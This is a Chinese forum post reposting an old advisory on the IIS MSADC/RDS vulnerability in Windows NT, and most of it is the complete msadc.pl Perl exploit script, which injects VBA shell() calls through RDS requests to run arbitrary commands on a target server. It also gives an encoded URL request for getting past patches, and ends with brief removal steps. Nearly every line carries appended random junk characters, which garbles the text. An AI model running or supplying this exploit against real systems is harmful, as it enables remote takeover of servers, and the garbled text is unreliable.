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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) $Sc08ro  
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涉及程序: 5,G<}cd  
Microsoft NT server Huug_E+  
7k[`]:*o  
描述: q_%w l5\F  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 .$}Z:,aB  
Z]1z*dv  
详细: NUxAv= xl  
如果你没有时间读详细内容的话,就删除: wUZ(Tin  
c:\Program Files\Common Files\System\Msadc\msadcs.dll GT1 X  
有关的安全问题就没有了。 .yHHogbt  
}(vOaD|k=  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 { 8|Z}?I  
80R= r  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 )KTWLr;  
关于利用ODBC远程漏洞的描述,请参看: f(9$"Vi  
p0:&7,+a,  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm M25z<Y  
%3@RZe  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 [4+a 1/^  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp x"h)"Y[c5  
S3JygN*  
这里不再论述。 zN 729wK  
iu:p &h  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: L;(3u'  
[ XY:MU e  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset aS1P]&  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! m%[2x#  
2=UTH% 1D  
gC,0+Y~  
#将下面这段保存为txt文件,然后: "perl -x 文件名" MlcoOi!  
%lqG*dRx0  
#!perl -$!Pf$l@  
# szM=U$jKq  
# MSADC/RDS 'usage' (aka exploit) script bju,p"J1-E  
# R~seUW7uv"  
# by rain.forest.puppy ~]t2?SqNm  
# ;wYwiSVd  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me (^@;`8Dy8  
# beta test and find errors! *7D$;?"  
:O @,Z_"  
use Socket; use Getopt::Std; {u[K ^G  
getopts("e:vd:h:XR", \%args); vng8{Mx90*  
y[7xK}`_  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; %_X[{(  
kod_ 1LD  
if (!defined $args{h} && !defined $args{R}) { MdTd$ 4J3  
print qq~ f+W[]KK*PW  
Usage: msadc.pl -h <host> { -d <delay> -X -v } + 1%^c(3  
-h <host> = host you want to scan (ip or domain) ;hJ/t/7  
-d <seconds> = delay between calls, default 1 second rQQPs\o  
-X = dump Index Server path table, if available @OL3&R  
-v = verbose `5 v51TpH  
-e = external dictionary file for step 5 tZ{q\+h  
C?<XtIoB  
Or a -R will resume a command session cd%g]T)#1  
r3bvuq,6$  
~; exit;} gS o(PW)  
pUEok+  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; $A!h=]  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X72X:"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `\FjO"  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 1Qe!  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} RlPByG5K  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } k^%ec3l  
0 Ln5e.&  
if (!defined $args{R}){ $ret = &has_msadc; 7 |eSvC  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} (w:ACJ[[  
5$G??="K  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" .nY6[2am  
. "cmd /c "; />I8nS}T  
$in=<STDIN>; chomp $in; C- Rie[  
$command="cmd /c " . $in ; :H8L(BsI  
r0uXMr=Z96  
if (defined $args{R}) {&load; exit;} %IXW|mi  
Jt, 4@  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; *t*&Q /W  
&try_btcustmr; E&tmWOMj>  
tNf" X !  
print "\nStep 2: Trying to make our own DSN..."; z7pXpy \  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; scEQDV  
bvRGTOxO  
print "\nStep 3: Trying known DSNs..."; YqCK#zT/  
&known_dsn; LsZ!':LN  
[jn;| 3  
print "\nStep 4: Trying known .mdbs..."; /<pQ!'/G  
&known_mdb; }? '9L:  
_Vf|F  
if (defined $args{e}){ ffd 3QQ  
print "\nStep 5: Trying dictionary of DSN names..."; :%oj'm44!  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } O;t?@!_  
JJ3JULL2  
print "Sorry Charley...maybe next time?\n"; myX0<j3G5  
exit; zW`koRH@  
ho$%7mc  
############################################################################## O +}EE^*a  
,T[ +omo  
sub sendraw { # ripped and modded from whisker oT{yttSNo  
sleep($delay); # it's a DoS on the server! At least on mine... C}EDl2  
my ($pstr)=@_; r@UY$z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || L umD.3<  
die("Socket problems\n"); =_6h{f&Q  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~o5iCt;w  
select(S); $|=1; 3m7V6##+  
print $pstr; my @in=<S>; m6<0 hP  
select(STDOUT); close(S); [ [CXMbD`*  
return @in; K 8c#/o  
} else { die("Can't connect...\n"); }} DCUq.q)  
ID+k`nP  
############################################################################## ?tQv|x  
DQnWLC"u  
sub make_header { # make the HTTP request a/#,Y<kJ  
my $msadc=<<EOT J :(\o=5 5  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 gP%!  
User-Agent: ACTIVEDATA [&V%rhi  
Host: $ip r0bPaAKw  
Content-Length: $clen zD-8#H35X"  
Connection: Keep-Alive 1e} 3L2rC  
_8`;Xgp  
ADCClientVersion:01.06 4=:eGlU93U  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  p ivS8C  
ji=po;g=E  
--!ADM!ROX!YOUR!WORLD! bOKNWI   
Content-Type: application/x-varg S`KCVQ>V  
Content-Length: $reqlen k<qH<<r*  
!,"G/}'^;  
EOT XS/TYdXB8  
; $msadc=~s/\n/\r\n/g; vn0*KIrX  
return $msadc;} Ka{Zoi]  
DL_\luh  
############################################################################## tn1aH +  
2jC\yY |PN  
sub make_req { # make the RDS request mX_`rvYII  
my ($switch, $p1, $p2)=@_; k0?6.[ku  
my $req=""; my $t1, $t2, $query, $dsn; RoRVu,1  
&0`7_g7G  
if ($switch==1){ # this is the btcustmr.mdb query YfKty0  
$query="Select * from Customers where City=" . make_shell(); JY16|ia  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . hBu =40K  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .`].\Zykf  
s'I$yJ)@2E  
elsif ($switch==2){ # this is general make table query DUr1s]+P  
$query="create table AZZ (B int, C varchar(10))"; FU3B;Fn^Z(  
$dsn="$p1";} &@-glF5  
A[bxxQSP\H  
elsif ($switch==3){ # this is general exploit table query L+L9)8FJ  
$query="select * from AZZ where C=" . make_shell(); FoQk  
$dsn="$p1";} {5JXg9um  
,L G&sa"  
elsif ($switch==4){ # attempt to hork file info from index server Tp13V.|  
$query="select path from scope()"; &EOh}O<  
$dsn="Provider=MSIDXS;";} ./'n2$^3  
IpxjP\  
elsif ($switch==5){ # bad query ]u';zJ.  
$query="select"; r "R\  
$dsn="$p1";} pxj"<q`nw8  
X'm2uOEj  
$t1= make_unicode($query); e+[J9;g  
$t2= make_unicode($dsn); 9':$!Eoq  
$req = "\x02\x00\x03\x00"; 1F|+4  
$req.= "\x08\x00" . pack ("S1", length($t1)); e j9G[  
$req.= "\x00\x00" . $t1 ; 9D,& )6  
$req.= "\x08\x00" . pack ("S1", length($t2)); #,56vVY  
$req.= "\x00\x00" . $t2 ; MR}\fw$(.  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :y)'qv[  
return $req;} (Wn'.|^%  
XvdhPOMy  
############################################################################## $((<le5-)  
w3@ te\  
sub make_shell { # this makes the shell() statement %0 4n,&mg  
return "'|shell(\"$command\")|'";} xph60T  
k$UBZ,=iC  
############################################################################## &ly[mBP~  
e9d~Xi16KY  
sub make_unicode { # quick little function to convert to unicode <_![~n$H  
my ($in)=@_; my $out; _OY;SJ(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } PewLg<?,G4  
return $out;} 9O"?T7i"#  
kBzzi^cl  
############################################################################## 3jNcL{  
r2G<::<zL  
sub rdo_success { # checks for RDO return success (this is kludge) R|suBF3  
my (@in) = @_; my $base=content_start(@in); bA)Xjq)Rr  
if($in[$base]=~/multipart\/mixed/){ m{*l6`dF  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} II91Ia  
return 0;} dZW:Cf 9K  
^tv*I~>J!  
############################################################################## =T$E lXwJ  
yS*PS='P  
sub make_dsn { # this makes a DSN for us _W;u Qg']  
my @drives=("c","d","e","f"); !o@-kl  
print "\nMaking DSN: "; ^6*? a9jO>  
foreach $drive (@drives) { ciTQH (G  
print "$drive: "; R/#*~tPi8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . DB0xIP~i,?  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Z8 T{Xw6%  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); zE[c$KPP  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -K j CPc  
return 0 if $2 eq "404"; # not found/doesn't exist ~K[rQ  
if($2 eq "200") { c|7Pnx%gT  
foreach $line (@results) { MiC&av  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ; H3kb +  
} return 0;} O!g> f  
;[xDc>&("Q  
############################################################################## m[}$&i$(  
[ACYd/  
sub verify_exists { I$Z"o9"  
my ($page)=@_; &0#qy9wx  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ZD,l 2DQ?  
return $results[0];} zm e:U![  
/nrDU*  
############################################################################## 982$d<0%  
VYF4q9  
sub try_btcustmr { D,hl+P{^K  
my @drives=("c","d","e","f"); 6?_Uow}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1kpI?Plki  
9J?j2!D  
foreach $dir (@dirs) { u&qdrKx  
print "$dir -> "; # fun status so you can see progress xWDwg@ P  
foreach $drive (@drives) { d1,azM  
print "$drive: "; # ditto {5to;\.  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; pS%Az)3RZ  
$reqlenlen=length( "$reqlen" ); f5G17: Q  
$clen= 206 + $reqlenlen + $reqlen; hE=cgO`QU  
lj[Bd >  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); zYep V  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} PC9:nee  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} / g&mDYV|  
i->sw#  
############################################################################## ,^+3AT  
q)P<lKi  
sub odbc_error { ^Dh2_vbI  
my (@in)=@_; my $base; 0nv3JX^l]  
my $base = content_start(@in); !PO(Bfd  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this aqMZ%~7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _|*j8v3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^iGIF~J9  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l/TH"z(  
return $in[$base+4].$in[$base+5].$in[$base+6];} [X-Q{c4  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; >V]> h&`  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . >Mn"k\j4  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} v!x=fjr<  
:dK%=j*ZK  
############################################################################## M0^r!f>O  
0 xPML}|V  
sub verbose { K,So#Ui  
my ($in)=@_; 9/nL3U@i1  
return if !$verbose; KR{kn[2|Q  
print STDOUT "\n$in\n";} X=DJOepH'  
.M_;mhRI  
############################################################################## fxc~5~$>  
-5Ccuk>6  
sub save { 5B(|!Xq;I  
my ($p1, $p2, $p3, $p4)=@_; 1s*I   
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; OyH:  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 02SUyv(Mt  
close OUT;} r"0nUf*og:  
|C5i3?  
############################################################################## @ #V31im"N  
yX8F^iv[  
sub load { 6/GhQ/T%D  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; j Sddjs  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); jL 2f74?1  
@p=<IN>; close(IN); <1hwXo  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); M14pg0Q  
$target= inet_aton($ip) || die("inet_aton problems"); zis-}K<   
print "Resuming to $ip ..."; u52@{@Ad  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;  s cn!,  
if($p[1]==1) { 3Hq0\Y"Y  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; \0b ",|"3  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 0ai4%=d-  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); N`#v"f<~Q  
if (rdo_success(@results)){print "Success!\n";} mNV4"lNR  
else { print "failed\n"; verbose(odbc_error(@results));}} of(Nq@  
elsif ($p[1]==3){ bf}r8$,  
if(run_query("$p[3]")){ A]R"C:o  
print "Success!\n";} else { print "failed\n"; }} AjZT- Q0L  
elsif ($p[1]==4){ .}Xkr+ +]  
if(run_query($drvst . "$p[3]")){ NMOTWA }2  
print "Success!\n"; } else { print "failed\n"; }} oE5+   
exit;} ~r!jVK>^  
dkCSqNFL)  
############################################################################## +[z(N  
GifD>c |z  
sub create_table { 0`OqD d  
my ($in)=@_; IMVoNKW-  
$reqlen=length( make_req(2,$in,"") ) - 28; !N!M NsyDz  
$reqlenlen=length( "$reqlen" ); FxD"z3D  
$clen= 206 + $reqlenlen + $reqlen; YP#OI 6u  
my @results=sendraw(make_header() . make_req(2,$in,"")); RPLr7Lb  
return 1 if rdo_success(@results); EQ7cK63  
my $temp= odbc_error(@results); verbose($temp); y 5=J6a2.  
return 1 if $temp=~/Table 'AZZ' already exists/; dLjT^ 9  
return 0;} o6{XT.z5qx  
S~m* t i(  
############################################################################## sz}Nal$AC  
G-rN?R.  
sub known_dsn { c-gaK\u}j}  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 6Q\n<&,{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !(+?\+U lE  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,(lD5iN  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Xst&QKU  
3aW4Gs<g  
foreach $dSn (@dsns) { Ws(BouJ  
print "."; f!1K GP  
next if (!is_access("DSN=$dSn")); s'/ug  
if(create_table("DSN=$dSn")){ :<nL9y jt  
print "$dSn successful\n"; Z#\ \NfR  
if(run_query("DSN=$dSn")){ $|A vT;4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P^&+ehp  
print "Something's borked. Use verbose next time\n";}}} print "\n";} *r(iegO$  
SR8[ 7MU  
############################################################################## 'd/A+W  
FUMAvVQ  
sub is_access { ;/ p)vR  
my ($in)=@_; ~lQ]PKJ"  
$reqlen=length( make_req(5,$in,"") ) - 28; !a1jc_  
$reqlenlen=length( "$reqlen" ); W;j*lII  
$clen= 206 + $reqlenlen + $reqlen; 3{,Mpb@  
my @results=sendraw(make_header() . make_req(5,$in,"")); UIzk-.<  
my $temp= odbc_error(@results); 3):7mE(  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); R(x% <I  
return 0;} en#W<"_"  
EEF}Wf$f  
############################################################################## DfqXw^BKD  
8vnU!r  
sub run_query { vUj7rDT|  
my ($in)=@_; ?jb7Oq#[  
$reqlen=length( make_req(3,$in,"") ) - 28; Cvi-4   
$reqlenlen=length( "$reqlen" ); +}z T][9w  
$clen= 206 + $reqlenlen + $reqlen; ?p\'S w:  
my @results=sendraw(make_header() . make_req(3,$in,"")); arDY@o~  
return 1 if rdo_success(@results); }8 ,b; Q  
my $temp= odbc_error(@results); verbose($temp); R-Uj\M>  
return 0;} 7dxY07 yu  
@p}H@#/u\  
############################################################################## {"s9A&  
JQI`9$asuC  
sub known_mdb { m|e!1_ :H  
my @drives=("c","d","e","f","g"); ]+,Z()  
my @dirs=("winnt","winnt35","winnt351","win","windows"); :90DS_4  
my $dir, $drive, $mdb; Fa@#nY|UV3  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; DlTV1X-^1  
}|Cw]GW  
# this is sparse, because I don't know of many _es>G'S  
my @sysmdbs=( "\\catroot\\icatalog.mdb", r+\it&cW+  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", vFy /  
"\\system32\\certmdb.mdb", h&[!CtPm  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% W@/D2K(  
])0&el3-  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", g'hBs D1'  
"\\cfusion\\cfapps\\forums\\forums_.mdb", <@e6zQG  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", W9.Z hpM  
"\\cfusion\\cfapps\\security\\realm_.mdb", Sd}fse  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", nL@P {,J  
"\\cfusion\\database\\cfexamples.mdb", nhQ.U>&-M  
"\\cfusion\\database\\cfsnippets.mdb", NIQa{R/H  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", q0SvZw]f1  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 2VMau.eQ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", :P;#Y7}Y$  
"\\cfusion\\database\\smpolicy.mdb", <S TwylL  
"\\cfusion\\database\cypress.mdb", S\GG(#b!  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", \-`L}$  
"\\website\\cgi-win\\dbsample.mdb", h.=YAcR0D  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", C6Dq7~{B  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ^:LF  
); #these are just C[<&% =  
foreach $drive (@drives) { z{;W$SO 2  
foreach $dir (@dirs){ ,T"(97"  
foreach $mdb (@sysmdbs) { !|,=rM9x  
print "."; &UQKZ.  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Cg8{NNeD  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; V|<qO-#.  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ rTW1'@E  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; R0-ARq#0<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *s;$`8fM<  
v;jrAND  
foreach $drive (@drives) { +1F@vag7  
foreach $mdb (@mdbs) { !W n'Ae9  
print "."; (f $Y0;v>}  
if(create_table($drv . $drive . $dir . $mdb)){ [uZU p*.V  
print "\n" . $drive . $dir . $mdb . " successful\n"; hTH"jAC+  
if(run_query($drv . $drive . $dir . $mdb)){ DEqk9Exk`  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; <f8@Qij  
} else { print "Something's borked. Use verbose next time\n"; }}}} 3J%jD  
} _ 4Hf?m7z  
Ba!`x<wa  
############################################################################## 5j,)}AYO  
plb'EP>e  
sub hork_idx { ur9-F^$  
print "\nAttempting to dump Index Server tables...\n"; ~8}"X] 4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ;cxYX/fJ  
$reqlen=length( make_req(4,"","") ) - 28; qt/"$6]%  
$reqlenlen=length( "$reqlen" ); K31Fp;K  
$clen= 206 + $reqlenlen + $reqlen; i|.!*/qF  
my @results=sendraw2(make_header() . make_req(4,"","")); ax7u b  
if (rdo_success(@results)){  2Np9*[C  
my $max=@results; my $c; my %d; T*|?]k 8@*  
for($c=19; $c<$max; $c++){ 6Q>:g"_  
$results[$c]=~s/\x00//g; 0v+5&Jk  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; aH,0+|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; >(:KEA  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; {K_YW  
$d{"$1$2"}="";} B~LB^ n(>@  
foreach $c (keys %d){ print "$c\n"; } G4=%<+  
} else {print "Index server doesn't seem to be installed.\n"; }} BU]9eF!>h  
[<8<+lH=P  
############################################################################## #^xiv/ sV  
$o {f)'.>n  
sub dsn_dict { }[D[ZLv  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); O#cXvv]Z*  
while(<IN>){ oA_AnD?G+  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; YC*S;q  
next if (!is_access("DSN=$dSn")); #HM0s~^w&  
if(create_table("DSN=$dSn")){ p.8G]pS  
print "$dSn successful\n"; 7QQ1oPV  
if(run_query("DSN=$dSn")){ /!jn$4fd:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { l$)pCo  
print "Something's borked. Use verbose next time\n";}}} e?RHf_d3T-  
print "\n"; close(IN);} @qg=lt|(F  
?Za1  b  
############################################################################## CQ#p2  
3u+~!yz  
sub sendraw2 { # ripped and modded from whisker n8R{LjJ2@  
sleep($delay); # it's a DoS on the server! At least on mine... k@KX=mG<  
my ($pstr)=@_; F-UY~i8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || jc)D*Cf  
die("Socket problems\n"); 1 9;\:tN  
if(connect(S,pack "SnA4x8",2,80,$target)){ =GFlaGD  
print "Connected. Getting data"; \u",bMQF  
open(OUT,">raw.out"); my @in; WElB,a-RCp  
select(S); $|=1; print $pstr; g0_8:Gs}^  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} a2o+ tR;H  
close(OUT); select(STDOUT); close(S); return @in; YuLW]Q?v  
} else { die("Can't connect...\n"); }} Rz*%(2Vz  
`4(k ?Pk2  
############################################################################## Y~fds#y0  
f u\M2"e  
sub content_start { # this will take in the server headers ]7c715@  
my (@in)=@_; my $c; `')3}  
for ($c=1;$c<500;$c++) { kAf2g  
if($in[$c] =~/^\x0d\x0a/){ viY _Y.Yjy  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } :;)K>g,b  
else { return $c+1; }}} q3 1swP  
return -1;} # it should never get here actually /,GDG=ra  
sq&$   
############################################################################## hZc$`V=R  
CXvL`d"  
sub funky { X;ijCZb3b  
my (@in)=@_; my $error=odbc_error(@in); u@[D*c1!H  
if($error=~/ADO could not find the specified provider/){ 80 i<Ij8J  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; v7xc01x  
exit;} #RZW)Br  
if($error=~/A Handler is required/){ ? vk;b!  
print "\nServer has custom handler filters (they most likely are patched)\n"; /_aFQ>.4n  
exit;} *%\z#Bje@  
if($error=~/specified Handler has denied Access/){ OpUC98p?@  
print "\nServer has custom handler filters (they most likely are patched)\n"; h]vA%VuE'E  
exit;}} PgxD?Oi8  
iI&J_Y{1a_  
############################################################################## (A/V(.!  
JEs?Rm1^.  
sub has_msadc { wUW+S5"K  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 7L? ~;;L$  
my $base=content_start(@results); e ST8>r  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Ej8EQ% P  
return 0;} UR:cBr  
.KXpB7:  
######################## *|a_(bQ4@  
Z &/b p1  
Q V4{=1A  
解决方案: *:aJlvk  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Ql3hq.E  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 zdlysr#  
wFnIM2a,  
拿出来充数 哈哈
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